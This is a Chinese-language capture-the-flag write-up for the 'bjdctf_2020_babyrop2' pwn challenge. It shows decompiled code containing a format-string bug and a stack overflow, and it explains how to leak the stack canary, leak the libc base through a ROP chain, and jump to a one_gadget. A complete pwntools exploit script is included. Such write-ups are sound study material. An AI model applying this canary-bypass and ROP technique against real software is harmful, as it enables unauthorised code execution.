bjdctf_2020_babyrop2
题目链接:bjdctf_2020_babyrop2。
下载附件后,使用 IDA 反编译,定位到主要函数,如下。
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
gift();
vuln();
return 0;
}
gift 函数如下。
unsigned __int64 gift()
{
char format[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", format);
printf(format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}
vuln 函数如下。
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}
可以看到,gift 函数中存在一处格式化字符串漏洞,vuln 函数存在栈溢出。
但本地存在 canary,因此,可以在 gift 函数中泄露 canary 的值,从而绕过 canary。
解题思路:
- 格式化字符串泄露 canary 值。
- 栈溢出,ROP 泄露 LIBC 基址。
- 打 One_GadGet。
解题脚本:
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
# 0x0000000000400993 : pop rdi ; ret
# .text:00000000004006A0 ; void __fastcall __noreturn start(__int64, __int64, void (*)(void))
sla("I'll give u some gift to help u!\n", '%7$p')
canary = p64(int(ru('00\n')[-19:-1], 16))
leak('canary', u64(canary))
sa('Pull up your sword and tell me u story!\n', 0x18 * b'a' + \
canary + \
0x8 * b'a' + \
p64(0x0000000000400993) + \
p64(ELF_FILE.got['read']) + \
p64(ELF_FILE.plt['puts']) + \
p64(0x00000000004006A0))
LIBC_ADDR = uu64(ru('\x7F')[-6:]) - LIBC_FILE.symbols['read']
leak('LIBC_ADDR', LIBC_ADDR)
one = one_gadget(LIBC_ADDR)
sla("I'll give u some gift to help u!\n", '%7$p')
canary = p64(int(ru('00\n')[-19:-1], 16))
leak('canary', u64(canary))
sa('Pull up your sword and tell me u story!\n', 0x18 * b'a' + \
canary + \
0x8 * b'a' + \
p64(one[0])
)
irt()
pwn()

浙公网安备 33010602011771号